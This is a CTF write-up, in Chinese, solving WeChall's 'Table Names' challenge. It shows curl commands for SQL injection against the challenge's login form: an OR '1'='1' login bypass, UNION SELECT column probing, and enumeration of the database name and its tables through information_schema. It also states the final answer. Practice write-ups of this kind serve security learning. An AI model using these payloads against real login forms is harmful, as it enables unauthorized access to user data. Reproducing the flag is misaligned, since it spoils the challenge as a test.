WeChall - Table Names

Challenge

MySQL + Exploit, difficulty 4.79. 找出 SQL 注入漏洞所用的数据库名和表名。无源码,有测试账号 test/test。

答案格式: databasename_tablename

Solution

漏洞脚本是一个 GET 方法的登录表单,username 和 password 参数都存在 SQL 注入。

先用测试账号登录,确认正常响应:

1
2
3
4
$ curl -G --data-urlencode "username=test" --data-urlencode "password=test" --data-urlencode "login=login" \
'https://www.wechall.net/en/challenge/table_names/challenge.php'
Welcome back test
Your personal welcome message is: This is a demo account, nothing here.

用户名和密码字段都可以注入。布尔盲注验证:

1
2
3
$ curl -G --data-urlencode "username=test' OR '1'='1" --data-urlencode "password=x" --data-urlencode "login=login" \
'https://www.wechall.net/en/challenge/table_names/challenge.php'
Welcome back Aaron A. Aaronson

确认注入点后,用 UNION SELECT 探测列数。正常登录显示用户名和 welcome message 两个字段,猜测 2-3 列。逐一测试发现 3 列时 welcome message 位置返回了 UNION 的值:

1
2
3
$ curl -G --data-urlencode "username=nosuchuser' UNION SELECT 1,1,1-- -" --data-urlencode "password=x" --data-urlencode "login=login" \
'https://www.wechall.net/en/challenge/table_names/challenge.php'
... message is: 1 ...

第 3 列对应 welcome message 显示位置。提取数据库名:

1
2
$ curl -G --data-urlencode "username=nosuchuser' UNION SELECT 1,1,database()-- -" ...
message is: gizmore_tableu61

hex() 确认:67697A6D6F72655F7461626C65753631gizmore_tableu61

枚举该数据库下的表:

1
2
3
4
5
$ curl -G --data-urlencode "username=nosuchuser' UNION SELECT 1,1,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)-- -" ...
message is: aaawrong

$ curl -G --data-urlencode "username=nosuchuser' UNION SELECT 1,1,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1)-- -" ...
message is: usertableus4

两个表:aaawrong(陷阱)和 usertableus4(用户表)。

gizmore_tableu61_usertableus4